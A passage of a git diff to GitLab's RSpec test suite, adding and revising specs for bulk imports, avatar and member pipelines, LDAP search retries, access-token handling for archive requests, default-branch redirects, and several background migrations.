@@ -152,7 +160,7 @@ RSpec.describe BulkImports::Clients::HTTP do
describe '#stream' do
it 'performs network request with stream_body option' do
expected_args = [
- 'http://gitlab.example:80/api/v4/resource',
+ 'http://gitlab.example/api/v4/resource',
hash_including(
stream_body: true,
headers: {
@@ -167,4 +175,28 @@ RSpec.describe BulkImports::Clients::HTTP do
subject.stream(resource)
end
end
+
+ context 'when source instance is incompatible' do
+ let(:version) { '13.0.0' }
+
+ it 'raises an error' do
+ expect { subject.get(resource) }.to raise_error(::BulkImports::Error, "Unsupported GitLab Version. Minimum Supported Gitlab Version #{BulkImport::MINIMUM_GITLAB_MAJOR_VERSION}.")
+ end
+ end
+
+ context 'when url is relative' do
+ let(:url) { 'http://website.example/gitlab' }
+
+ before do
+ allow(Gitlab::HTTP).to receive(:get)
+ .with('http://website.example/gitlab/api/v4/version', anything)
+ .and_return(version_response)
+ end
+
+ it 'performs network request to a relative gitlab url' do
+ expect(Gitlab::HTTP).to receive(:get).with('http://website.example/gitlab/api/v4/resource', anything).and_return(response_double)
+
+ subject.get(resource)
+ end
+ end
end
diff --git a/spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb b/spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb
index 533955b057c..de0b56045b3 100644
--- a/spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb
+++ b/spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe BulkImports::Groups::Loaders::GroupLoader do
let_it_be(:entity) { create(:bulk_import_entity, bulk_import: bulk_import) }
let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
let(:service_double) { instance_double(::Groups::CreateService) }
let(:data) { { foo: :bar } }
diff --git a/spec/lib/bulk_imports/groups/pipelines/group_avatar_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/group_avatar_pipeline_spec.rb
new file mode 100644
index 00000000000..c68284aa580
--- /dev/null
+++ b/spec/lib/bulk_imports/groups/pipelines/group_avatar_pipeline_spec.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Groups::Pipelines::GroupAvatarPipeline do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+
+ let_it_be(:entity) do
+ create(
+ :bulk_import_entity,
+ group: group,
+ bulk_import: bulk_import,
+ source_full_path: 'source/full/path',
+ destination_name: 'My Destination Group',
+ destination_namespace: group.full_path
+ )
+ end
+
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ subject { described_class.new(context) }
+
+ describe '#run' do
+ it 'updates the group avatar' do
+ avatar_path = 'spec/fixtures/dk.png'
+ stub_file_download(
+ avatar_path,
+ configuration: context.configuration,
+ relative_url: "/groups/source%2Ffull%2Fpath/avatar",
+ dir: an_instance_of(String),
+ file_size_limit: Avatarable::MAXIMUM_FILE_SIZE,
+ allowed_content_types: described_class::ALLOWED_AVATAR_DOWNLOAD_TYPES
+ )
+
+ expect { subject.run }.to change(context.group, :avatar)
+
+ expect(context.group.avatar.filename).to eq(File.basename(avatar_path))
+ end
+
+ it 'raises an error when the avatar upload fails' do
+ avatar_path = 'spec/fixtures/aosp_manifest.xml'
+ stub_file_download(
+ avatar_path,
+ configuration: context.configuration,
+ relative_url: "/groups/source%2Ffull%2Fpath/avatar",
+ dir: an_instance_of(String),
+ file_size_limit: Avatarable::MAXIMUM_FILE_SIZE,
+ allowed_content_types: described_class::ALLOWED_AVATAR_DOWNLOAD_TYPES
+ )
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger).to receive(:error)
+ .with(
+ bulk_import_id: context.bulk_import.id,
+ bulk_import_entity_id: context.entity.id,
+ bulk_import_entity_type: context.entity.source_type,
+ context_extra: context.extra,
+ exception_class: "BulkImports::Groups::Pipelines::GroupAvatarPipeline::GroupAvatarLoadingError",
+ exception_message: "Avatar file format is not supported. Please try one of the following supported formats: image/png, image/jpeg, image/gif, image/bmp, image/tiff, image/vnd.microsoft.icon",
+ pipeline_class: "BulkImports::Groups::Pipelines::GroupAvatarPipeline",
+ pipeline_step: :loader
+ )
+ end
+
+ expect { subject.run }.to change(BulkImports::Failure, :count)
+ end
+ end
+
+ def stub_file_download(filepath = 'file/path.png', **params)
+ expect_next_instance_of(BulkImports::FileDownloadService, params.presence) do |downloader|
+ expect(downloader).to receive(:execute).and_return(filepath)
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/groups/pipelines/members_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/members_pipeline_spec.rb
index d8a667ec92a..0126acb320b 100644
--- a/spec/lib/bulk_imports/groups/pipelines/members_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/groups/pipelines/members_pipeline_spec.rb
@@ -63,6 +63,14 @@ RSpec.describe BulkImports::Groups::Pipelines::MembersPipeline do
expect(member.updated_at).to eq('2020-01-01T00:00:00Z')
expect(member.expires_at).to eq(nil)
end
+
+ context 'when user_id is current user id' do
+ it 'does not create new member' do
+ data = { 'user_id' => user.id }
+
+ expect { subject.load(context, data) }.not_to change(GroupMember, :count)
+ end
+ end
end
describe 'pipeline parts' do
diff --git a/spec/lib/bulk_imports/groups/transformers/member_attributes_transformer_spec.rb b/spec/lib/bulk_imports/groups/transformers/member_attributes_transformer_spec.rb
index f3905a4b6e4..af99428e0c1 100644
--- a/spec/lib/bulk_imports/groups/transformers/member_attributes_transformer_spec.rb
+++ b/spec/lib/bulk_imports/groups/transformers/member_attributes_transformer_spec.rb
@@ -84,9 +84,34 @@ RSpec.describe BulkImports::Groups::Transformers::MemberAttributesTransformer do
expect(subject.transform(context, data)).to be_nil
end
end
+
+ context 'source user id caching' do
+ context 'when user gid is present' do
+ it 'caches source user id' do
+ gid = 'gid://gitlab/User/7'
+ data = member_data(email: user.email, gid: gid)
+
+ expect_next_instance_of(BulkImports::UsersMapper) do |mapper|
+ expect(mapper).to receive(:cache_source_user_id).with('7', user.id)
+ end
+
+ subject.transform(context, data)
+ end
+ end
+
+ context 'when user gid is missing' do
+ it 'does not use caching' do
+ data = member_data(email: user.email)
+
+ expect(BulkImports::UsersMapper).not_to receive(:new)
+
+ subject.transform(context, data)
+ end
+ end
+ end
end
- def member_data(email: '', access_level: 30)
+ def member_data(email: '', gid: nil, access_level: 30)
{
'created_at' => '2020-01-01T00:00:00Z',
'updated_at' => '2020-01-01T00:00:00Z',
@@ -95,6 +120,7 @@ RSpec.describe BulkImports::Groups::Transformers::MemberAttributesTransformer do
'integer_value' => access_level
},
'user' => {
+ 'user_gid' => gid,
'public_email' => email
}
}
diff --git a/spec/lib/bulk_imports/ndjson_pipeline_spec.rb b/spec/lib/bulk_imports/ndjson_pipeline_spec.rb
index a5d1a5f7fbb..57a258b0d9f 100644
--- a/spec/lib/bulk_imports/ndjson_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/ndjson_pipeline_spec.rb
@@ -106,8 +106,11 @@ RSpec.describe BulkImports::NdjsonPipeline do
data = [hash, 1]
user = double
config = double(relation_excluded_keys: nil, top_relation_tree: [])
- context = double(portable: group, current_user: user, import_export_config: config)
+ import_double = instance_double(BulkImport, id: 1)
+ entity_double = instance_double(BulkImports::Entity, id: 2)
+ context = double(portable: group, current_user: user, import_export_config: config, bulk_import: import_double, entity: entity_double)
allow(subject).to receive(:import_export_config).and_return(config)
+ allow(subject).to receive(:context).and_return(context)
expect(Gitlab::ImportExport::Group::RelationFactory)
.to receive(:create)
@@ -116,7 +119,7 @@ RSpec.describe BulkImports::NdjsonPipeline do
relation_sym: :test,
relation_hash: hash,
importable: group,
- members_mapper: instance_of(Gitlab::ImportExport::MembersMapper),
+ members_mapper: instance_of(BulkImports::UsersMapper),
object_builder: Gitlab::ImportExport::Group::ObjectBuilder,
user: user,
excluded_keys: nil
diff --git a/spec/lib/bulk_imports/stage_spec.rb b/spec/lib/bulk_imports/stage_spec.rb
index d082faa90bc..4398b00e7e9 100644
--- a/spec/lib/bulk_imports/stage_spec.rb
+++ b/spec/lib/bulk_imports/stage_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe BulkImports::Stage do
let(:pipelines) do
[
[0, BulkImports::Groups::Pipelines::GroupPipeline],
+ [1, BulkImports::Groups::Pipelines::GroupAvatarPipeline],
[1, BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline],
[1, BulkImports::Groups::Pipelines::MembersPipeline],
[1, BulkImports::Groups::Pipelines::LabelsPipeline],
diff --git a/spec/lib/bulk_imports/users_mapper_spec.rb b/spec/lib/bulk_imports/users_mapper_spec.rb
new file mode 100644
index 00000000000..e6357319d05
--- /dev/null
+++ b/spec/lib/bulk_imports/users_mapper_spec.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::UsersMapper do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:import) { create(:bulk_import, user: user) }
+ let_it_be(:entity) { create(:bulk_import_entity, bulk_import: import) }
+
+ let(:context) do
+ instance_double(
+ BulkImports::Pipeline::Context,
+ bulk_import: import,
+ entity: entity,
+ current_user: user
+ )
+ end
+
+ subject { described_class.new(context: context) }
+
+ describe '#map' do
+ context 'when value for specified key exists' do
+ it 'returns a map of source & destination user ids from redis' do
+ allow(Gitlab::Cache::Import::Caching).to receive(:values_from_hash).and_return({ "1" => "2" })
+
+ expect(subject.map).to eq({ 1 => 2 })
+ end
+ end
+
+ context 'when value for specified key does not exist' do
+ it 'returns default value' do
+ expect(subject.map[:non_existent_key]).to eq(user.id)
+ end
+ end
+ end
+
+ describe '#default_user_id' do
+ it 'returns current user id' do
+ expect(subject.default_user_id).to eq(user.id)
+ end
+ end
+
+ describe '#include?' do
+ context 'when source user id is present in the map' do
+ it 'returns true' do
+ allow(subject).to receive(:map).and_return({ 1 => 2 })
+
+ expect(subject.include?(1)).to eq(true)
+ end
+ end
+
+ context 'when source user id is missing in the map' do
+ it 'returns false' do
+ allow(subject).to receive(:map).and_return({})
+
+ expect(subject.include?(1)).to eq(false)
+ end
+ end
+ end
+
+ describe '#cache_source_user_id' do
+ it 'caches provided source & destination user ids in redis' do
+ expect(Gitlab::Cache::Import::Caching).to receive(:hash_add).with("bulk_imports/#{import.id}/#{entity.id}/source_user_ids", 1, 2)
+
+ subject.cache_source_user_id(1, 2)
+ end
+ end
+end
diff --git a/spec/lib/error_tracking/collector/sentry_request_parser_spec.rb b/spec/lib/error_tracking/collector/sentry_request_parser_spec.rb
new file mode 100644
index 00000000000..6f12c6d25e0
--- /dev/null
+++ b/spec/lib/error_tracking/collector/sentry_request_parser_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ErrorTracking::Collector::SentryRequestParser do
+ describe '.parse' do
+ let_it_be(:raw_event) { fixture_file('error_tracking/event.txt') }
+ let_it_be(:parsed_event) { Gitlab::Json.parse(fixture_file('error_tracking/parsed_event.json')) }
+
+ let(:body) { raw_event }
+ let(:headers) { { 'Content-Encoding' => '' } }
+ let(:request) { double('request', headers: headers, body: StringIO.new(body)) }
+
+ subject { described_class.parse(request) }
+
+ RSpec.shared_examples 'valid parser' do
+ it 'returns a valid hash' do
+ parsed_request = subject
+
+ expect(parsed_request[:request_type]).to eq('event')
+ expect(parsed_request[:event]).to eq(parsed_event)
+ end
+ end
+
+ context 'empty body content' do
+ let(:body) { '' }
+
+ it 'fails with exception' do
+ expect { subject }.to raise_error(StandardError)
+ end
+ end
+
+ context 'plain text sentry request' do
+ it_behaves_like 'valid parser'
+ end
+
+ context 'gzip encoded sentry request' do
+ let(:headers) { { 'Content-Encoding' => 'gzip' } }
+ let(:body) { Zlib.gzip(raw_event) }
+
+ it_behaves_like 'valid parser'
+ end
+ end
+end
diff --git a/spec/lib/extracts_path_spec.rb b/spec/lib/extracts_path_spec.rb
index b69cbbf0ec0..05f3bb2f71a 100644
--- a/spec/lib/extracts_path_spec.rb
+++ b/spec/lib/extracts_path_spec.rb
@@ -7,9 +7,17 @@ RSpec.describe ExtractsPath do
include RepoHelpers
include Gitlab::Routing
+ # Make url_for work
+ def default_url_options
+ { controller: 'projects/blob', action: 'show', namespace_id: @project.namespace.path, project_id: @project.path }
+ end
+
let_it_be(:owner) { create(:user) }
let_it_be(:container) { create(:project, :repository, creator: owner) }
+
let(:request) { double('request') }
+ let(:flash) { {} }
+ let(:redirect_renamed_default_branch?) { true }
before do
@project = container
@@ -17,11 +25,14 @@ RSpec.describe ExtractsPath do
allow(container.repository).to receive(:ref_names).and_return(ref_names)
allow(request).to receive(:format=)
+ allow(request).to receive(:get?)
+ allow(request).to receive(:head?)
end
describe '#assign_ref_vars' do
let(:ref) { sample_commit[:id] }
- let(:params) { { path: sample_commit[:line_code_path], ref: ref } }
+ let(:path) { sample_commit[:line_code_path] }
+ let(:params) { { path: path, ref: ref } }
it_behaves_like 'assigns ref vars'
@@ -125,6 +136,66 @@ RSpec.describe ExtractsPath do
expect(@commit).to be_nil
end
end
+
+ context 'ref points to a previous default branch' do
+ let(:ref) { 'develop' }
+
+ before do
+ @project.update!(previous_default_branch: ref)
+
+ allow(@project).to receive(:default_branch).and_return('foo')
+ end
+
+ it 'redirects to the new default branch for a GET request' do
+ allow(request).to receive(:get?).and_return(true)
+
+ expect(self).to receive(:redirect_to).with("http://localhost/#{@project.full_path}/-/blob/foo/#{path}")
+ expect(self).not_to receive(:render_404)
+
+ assign_ref_vars
+
+ expect(@commit).to be_nil
+ expect(flash[:notice]).to match(/default branch/)
+ end
+
+ it 'redirects to the new default branch for a HEAD request' do
+ allow(request).to receive(:head?).and_return(true)
+
+ expect(self).to receive(:redirect_to).with("http://localhost/#{@project.full_path}/-/blob/foo/#{path}")
+ expect(self).not_to receive(:render_404)
+
+ assign_ref_vars
+
+ expect(@commit).to be_nil
+ expect(flash[:notice]).to match(/default branch/)
+ end
+
+ it 'returns 404 for any other request type' do
+ expect(self).not_to receive(:redirect_to)
+ expect(self).to receive(:render_404)
+
+ assign_ref_vars
+
+ expect(@commit).to be_nil
+ expect(flash).to be_empty
+ end
+
+ context 'redirect behaviour is disabled' do
+ let(:redirect_renamed_default_branch?) { false }
+
+ it 'returns 404 for a GET request' do
+ allow(request).to receive(:get?).and_return(true)
+
+ expect(self).not_to receive(:redirect_to)
+ expect(self).to receive(:render_404)
+
+ assign_ref_vars
+
+ expect(@commit).to be_nil
+ expect(flash).to be_empty
+ end
+ end
+ end
end
it_behaves_like 'extracts refs'
diff --git a/spec/lib/extracts_ref_spec.rb b/spec/lib/extracts_ref_spec.rb
index 5433a512981..3cdce150de9 100644
--- a/spec/lib/extracts_ref_spec.rb
+++ b/spec/lib/extracts_ref_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe ExtractsRef do
let_it_be(:owner) { create(:user) }
let_it_be(:container) { create(:snippet, :repository, author: owner) }
+
let(:ref) { sample_commit[:id] }
let(:params) { { path: sample_commit[:line_code_path], ref: ref } }
diff --git a/spec/lib/gitlab/analytics/unique_visits_spec.rb b/spec/lib/gitlab/analytics/unique_visits_spec.rb
deleted file mode 100644
index f4d5c0b1eca..00000000000
--- a/spec/lib/gitlab/analytics/unique_visits_spec.rb
+++ /dev/null
@@ -1,81 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Analytics::UniqueVisits, :clean_gitlab_redis_shared_state do
- let(:unique_visits) { Gitlab::Analytics::UniqueVisits.new }
- let(:target1_id) { 'g_analytics_contribution' }
- let(:target2_id) { 'g_analytics_insights' }
- let(:target3_id) { 'g_analytics_issues' }
- let(:target4_id) { 'g_compliance_dashboard' }
- let(:target5_id) { 'i_compliance_credential_inventory' }
- let(:visitor1_id) { 'dfb9d2d2-f56c-4c77-8aeb-6cddc4a1f857' }
- let(:visitor2_id) { '1dd9afb2-a3ee-4de1-8ae3-a405579c8584' }
- let(:visitor3_id) { '34rfjuuy-ce56-sa35-ds34-dfer567dfrf2' }
-
- around do |example|
- # We need to freeze to a reference time
- # because visits are grouped by the week number in the year
- # Without freezing the time, the test may behave inconsistently
- # depending on which day of the week test is run.
- reference_time = Time.utc(2020, 6, 1)
- travel_to(reference_time) { example.run }
- end
-
- describe '#track_visit' do
- it 'tracks the unique weekly visits for targets' do
- unique_visits.track_visit(target1_id, values: visitor1_id, time: 7.days.ago)
- unique_visits.track_visit(target1_id, values: visitor1_id, time: 7.days.ago)
- unique_visits.track_visit(target1_id, values: visitor2_id, time: 7.days.ago)
-
- unique_visits.track_visit(target2_id, values: visitor2_id, time: 7.days.ago)
- unique_visits.track_visit(target2_id, values: visitor1_id, time: 8.days.ago)
- unique_visits.track_visit(target2_id, values: visitor1_id, time: 15.days.ago)
-
- unique_visits.track_visit(target4_id, values: visitor3_id, time: 7.days.ago)
-
- unique_visits.track_visit(target5_id, values: visitor3_id, time: 15.days.ago)
- unique_visits.track_visit(target5_id, values: visitor2_id, time: 15.days.ago)
-
- expect(unique_visits.unique_visits_for(targets: target1_id)).to eq(2)
- expect(unique_visits.unique_visits_for(targets: target2_id)).to eq(1)
- expect(unique_visits.unique_visits_for(targets: target4_id)).to eq(1)
-
- expect(unique_visits.unique_visits_for(targets: target2_id, start_date: 15.days.ago)).to eq(1)
-
- expect(unique_visits.unique_visits_for(targets: target3_id)).to eq(0)
-
- expect(unique_visits.unique_visits_for(targets: target5_id, start_date: 15.days.ago)).to eq(2)
-
- expect(unique_visits.unique_visits_for(targets: :analytics)).to eq(2)
- expect(unique_visits.unique_visits_for(targets: :analytics, start_date: 15.days.ago)).to eq(1)
- expect(unique_visits.unique_visits_for(targets: :analytics, start_date: 30.days.ago)).to eq(0)
-
- expect(unique_visits.unique_visits_for(targets: :analytics, start_date: 4.weeks.ago, end_date: Date.current)).to eq(2)
-
- expect(unique_visits.unique_visits_for(targets: :compliance)).to eq(1)
- expect(unique_visits.unique_visits_for(targets: :compliance, start_date: 15.days.ago)).to eq(2)
- expect(unique_visits.unique_visits_for(targets: :compliance, start_date: 30.days.ago)).to eq(0)
-
- expect(unique_visits.unique_visits_for(targets: :compliance, start_date: 4.weeks.ago, end_date: Date.current)).to eq(2)
- end
-
- it 'sets the keys in Redis to expire automatically after 12 weeks' do
- unique_visits.track_visit(target1_id, values: visitor1_id)
-
- Gitlab::Redis::SharedState.with do |redis|
- redis.scan_each(match: "{#{target1_id}}-*").each do |key|
- expect(redis.ttl(key)).to be_within(5.seconds).of(12.weeks)
- end
- end
- end
-
- it 'raises an error if an invalid target id is given' do
- invalid_target_id = "x_invalid"
-
- expect do
- unique_visits.track_visit(invalid_target_id, values: visitor1_id)
- end.to raise_error(Gitlab::UsageDataCounters::HLLRedisCounter::UnknownEvent)
- end
- end
-end
diff --git a/spec/lib/gitlab/auth/auth_finders_spec.rb b/spec/lib/gitlab/auth/auth_finders_spec.rb
index 7475ed2796f..14200733c19 100644
--- a/spec/lib/gitlab/auth/auth_finders_spec.rb
+++ b/spec/lib/gitlab/auth/auth_finders_spec.rb
@@ -460,7 +460,7 @@ RSpec.describe Gitlab::Auth::AuthFinders do
expect { find_user_from_access_token }.to raise_error(Gitlab::Auth::UnauthorizedError)
end
- context 'no feed or API requests' do
+ context 'no feed, API or archive requests' do
it 'returns nil if the request is not RSS' do
expect(find_user_from_web_access_token(:rss)).to be_nil
end
@@ -472,6 +472,10 @@ RSpec.describe Gitlab::Auth::AuthFinders do
it 'returns nil if the request is not API' do
expect(find_user_from_web_access_token(:api)).to be_nil
end
+
+ it 'returns nil if the request is not ARCHIVE' do
+ expect(find_user_from_web_access_token(:archive)).to be_nil
+ end
end
it 'returns the user for RSS requests' do
@@ -486,6 +490,24 @@ RSpec.describe Gitlab::Auth::AuthFinders do
expect(find_user_from_web_access_token(:ics)).to eq(user)
end
+ it 'returns the user for ARCHIVE requests' do
+ set_header('SCRIPT_NAME', '/-/archive/main.zip')
+
+ expect(find_user_from_web_access_token(:archive)).to eq(user)
+ end
+
+ context 'when allow_archive_as_web_access_format feature flag is disabled' do
+ before do
+ stub_feature_flags(allow_archive_as_web_access_format: false)
+ end
+
+ it 'returns nil for ARCHIVE requests' do
+ set_header('SCRIPT_NAME', '/-/archive/main.zip')
+
+ expect(find_user_from_web_access_token(:archive)).to be_nil
+ end
+ end
+
context 'for API requests' do
it 'returns the user' do
set_header('SCRIPT_NAME', '/api/endpoint')
diff --git a/spec/lib/gitlab/auth/ldap/adapter_spec.rb b/spec/lib/gitlab/auth/ldap/adapter_spec.rb
index 8546d63cf77..b7b12e49a8e 100644
--- a/spec/lib/gitlab/auth/ldap/adapter_spec.rb
+++ b/spec/lib/gitlab/auth/ldap/adapter_spec.rb
@@ -95,6 +95,40 @@ RSpec.describe Gitlab::Auth::Ldap::Adapter do
describe '#ldap_search' do
subject { adapter.ldap_search(base: :dn, filter: :filter) }
+ shared_examples 'connection retry' do
+ before do
+ allow(adapter).to receive(:renew_connection_adapter).and_return(ldap)
+ allow(Gitlab::AppLogger).to receive(:warn)
+ end
+
+ context 'retries the operation' do
+ before do
+ stub_const("#{described_class}::MAX_SEARCH_RETRIES", 3)
+ end
+
+ it 'as many times as MAX_SEARCH_RETRIES' do
+ expect(ldap).to receive(:search).exactly(3).times
+ expect { subject }.to raise_error(Gitlab::Auth::Ldap::LdapConnectionError)
+ end
+
+ context 'when no more retries' do
+ before do
+ stub_const("#{described_class}::MAX_SEARCH_RETRIES", 1)
+ end
+
+ it 'raises the exception' do
+ expect { subject }.to raise_error(Gitlab::Auth::Ldap::LdapConnectionError)
+ end
+
+ it 'logs the error' do
+ expect { subject }.to raise_error(Gitlab::Auth::Ldap::LdapConnectionError)
+ expect(Gitlab::AppLogger).to have_received(:warn).with(
+ "LDAP search raised exception Net::LDAP::Error: #{err_message}")
+ end
+ end
+ end
+ end
+
context "when the search is successful" do
context "and the result is non-empty" do
before do
@@ -110,6 +144,22 @@ RSpec.describe Gitlab::Auth::Ldap::Adapter do
end
it { is_expected.to eq [] }
+
+ context 'when returned with expected code' do
+ let(:response_code) { 80 }
+ let(:response_message) { 'Other' }
+ let(:err_message) { "Got empty results with response code: #{response_code}, message: #{response_message}" }
+
+ before do
+ stub_ldap_config(retry_empty_result_with_codes: [response_code])
+ allow(ldap).to receive_messages(
+ search: nil,
+ get_operation_result: double(code: response_code, message: response_message)
+ )
+ end
+
+ it_behaves_like 'connection retry'
+ end
end
end
@@ -132,30 +182,13 @@ RSpec.describe Gitlab::Auth::Ldap::Adapter do
end
context 'retries the operation' do
- before do
- stub_const("#{described_class}::MAX_SEARCH_RETRIES", 3)
- end
+ let(:err_message) { 'some error' }
- it 'as many times as MAX_SEARCH_RETRIES' do
- expect(ldap).to receive(:search).exactly(3).times
- expect { subject }.to raise_error(Gitlab::Auth::Ldap::LdapConnectionError)
+ before do
+ allow(ldap).to receive(:search) { raise Net::LDAP::Error, err_message }
end
- context 'when no more retries' do
- before do
- stub_const("#{described_class}::MAX_SEARCH_RETRIES", 1)
- end
-
- it 'raises the exception' do
- expect { subject }.to raise_error(Gitlab::Auth::Ldap::LdapConnectionError)
- end
-
- it 'logs the error' do
- expect { subject }.to raise_error(Gitlab::Auth::Ldap::LdapConnectionError)
- expect(Gitlab::AppLogger).to have_received(:warn).with(
- "LDAP search raised exception Net::LDAP::Error: some error")
- end
- end
+ it_behaves_like 'connection retry'
end
end
end
diff --git a/spec/lib/gitlab/background_migration/backfill_draft_status_on_merge_requests_spec.rb b/spec/lib/gitlab/background_migration/backfill_draft_status_on_merge_requests_spec.rb
new file mode 100644
index 00000000000..f56cf899410
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/backfill_draft_status_on_merge_requests_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::BackfillDraftStatusOnMergeRequests do
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:merge_requests) { table(:merge_requests) }
+
+ let(:group) { namespaces.create!(name: 'gitlab', path: 'gitlab') }
+ let(:project) { projects.create!(namespace_id: group.id) }
+
+ let(:draft_prefixes) { ["[Draft]", "(Draft)", "Draft:", "Draft", "[WIP]", "WIP:", "WIP"] }
+
+ def create_merge_request(params)
+ common_params = {
+ target_project_id: project.id,
+ target_branch: 'feature1',
+ source_branch: 'master'
+ }
+
+ merge_requests.create!(common_params.merge(params))
+ end
+
+ context "for MRs with #draft? == true titles but draft attribute false" do
+ before do
+ draft_prefixes.each do |prefix|
+ (1..4).each do |n|
+ create_merge_request(
+ title: "#{prefix} This is a title",
+ draft: false,
+ state_id: n
+ )
+ end
+ end
+ end
+
+ it "updates all open draft merge request's draft field to true" do
+ mr_count = merge_requests.all.count
+ mr_ids = merge_requests.all.collect(&:id)
+
+ expect { subject.perform(mr_ids.first, mr_ids.last) }
+ .to change { MergeRequest.where(draft: false).count }
+ .from(mr_count).to(mr_count - draft_prefixes.length)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/backfill_jira_tracker_deployment_type2_spec.rb b/spec/lib/gitlab/background_migration/backfill_jira_tracker_deployment_type2_spec.rb
index 7fe82420364..58864aac084 100644
--- a/spec/lib/gitlab/background_migration/backfill_jira_tracker_deployment_type2_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_jira_tracker_deployment_type2_spec.rb
@@ -3,18 +3,18 @@
require 'spec_helper'
RSpec.describe Gitlab::BackgroundMigration::BackfillJiraTrackerDeploymentType2, :migration, schema: 20201028182809 do
- let_it_be(:jira_service_temp) { described_class::JiraServiceTemp }
+ let_it_be(:jira_integration_temp) { described_class::JiraServiceTemp }
let_it_be(:jira_tracker_data_temp) { described_class::JiraTrackerDataTemp }
let_it_be(:atlassian_host) { 'https://api.atlassian.net' }
let_it_be(:mixedcase_host) { 'https://api.AtlassiaN.nEt' }
let_it_be(:server_host) { 'https://my.server.net' }
- let(:jira_service) { jira_service_temp.create!(type: 'JiraService', active: true, category: 'issue_tracker') }
+ let(:jira_integration) { jira_integration_temp.create!(type: 'JiraService', active: true, category: 'issue_tracker') }
subject { described_class.new }
def create_tracker_data(options = {})
- jira_tracker_data_temp.create!({ service_id: jira_service.id }.merge(options))
+ jira_tracker_data_temp.create!({ service_id: jira_integration.id }.merge(options))
end
describe '#perform' do
diff --git a/spec/lib/gitlab/background_migration/backfill_upvotes_count_on_issues_spec.rb b/spec/lib/gitlab/background_migration/backfill_upvotes_count_on_issues_spec.rb
new file mode 100644
index 00000000000..b084e3fe885
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/backfill_upvotes_count_on_issues_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::BackfillUpvotesCountOnIssues, schema: 20210701111909 do
+ let(:award_emoji) { table(:award_emoji) }
+
+ let!(:namespace) { table(:namespaces).create!(name: 'namespace', path: 'namespace') }
+ let!(:project1) { table(:projects).create!(namespace_id: namespace.id) }
+ let!(:project2) { table(:projects).create!(namespace_id: namespace.id) }
+ let!(:issue1) { table(:issues).create!(project_id: project1.id) }
+ let!(:issue2) { table(:issues).create!(project_id: project2.id) }
+ let!(:issue3) { table(:issues).create!(project_id: project2.id) }
+ let!(:issue4) { table(:issues).create!(project_id: project2.id) }
+
+ describe '#perform' do
+ before do
+ add_upvotes(issue1, :thumbsdown, 1)
+ add_upvotes(issue2, :thumbsup, 2)
+ add_upvotes(issue2, :thumbsdown, 1)
+ add_upvotes(issue3, :thumbsup, 3)
+ add_upvotes(issue4, :thumbsup, 4)
+ end
+
+ it 'updates upvotes_count' do
+ subject.perform(issue1.id, issue4.id)
+
+ expect(issue1.reload.upvotes_count).to eq(0)
+ expect(issue2.reload.upvotes_count).to eq(2)
+ expect(issue3.reload.upvotes_count).to eq(3)
+ expect(issue4.reload.upvotes_count).to eq(4)
+ end
+ end
+
+ private
+
+ def add_upvotes(issue, name, count)
+ count.times do
+ award_emoji.create!(
+ name: name.to_s,
+ awardable_type: 'Issue',
+ awardable_id: issue.id
+ )
+ end
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/delete_orphaned_deployments_spec.rb b/spec/lib/gitlab/background_migration/delete_orphaned_deployments_spec.rb
new file mode 100644
index 00000000000..c4039b85459
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/delete_orphaned_deployments_spec.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::DeleteOrphanedDeployments, :migration, schema: 20210617161348 do
+ let!(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
+ let!(:project) { table(:projects).create!(namespace_id: namespace.id) }
+ let!(:environment) { table(:environments).create!(name: 'production', slug: 'production', project_id: project.id) }
+ let(:background_migration_jobs) { table(:background_migration_jobs) }
+
+ before do
+ create_deployment!(environment.id, project.id)
+ create_deployment!(non_existing_record_id, project.id)
+ end
+
+ it 'deletes only orphaned deployments' do
+ expect(valid_deployments.pluck(:id)).not_to be_empty
+ expect(orphaned_deployments.pluck(:id)).not_to be_empty
+
+ subject.perform(table(:deployments).minimum(:id), table(:deployments).maximum(:id))
+
+ expect(valid_deployments.pluck(:id)).not_to be_empty
+ expect(orphaned_deployments.pluck(:id)).to be_empty
+ end
+
+ it 'marks jobs as done' do
+ first_job = background_migration_jobs.create!(
+ class_name: 'DeleteOrphanedDeployments',
+ arguments: [table(:deployments).minimum(:id), table(:deployments).minimum(:id)]
+ )
+
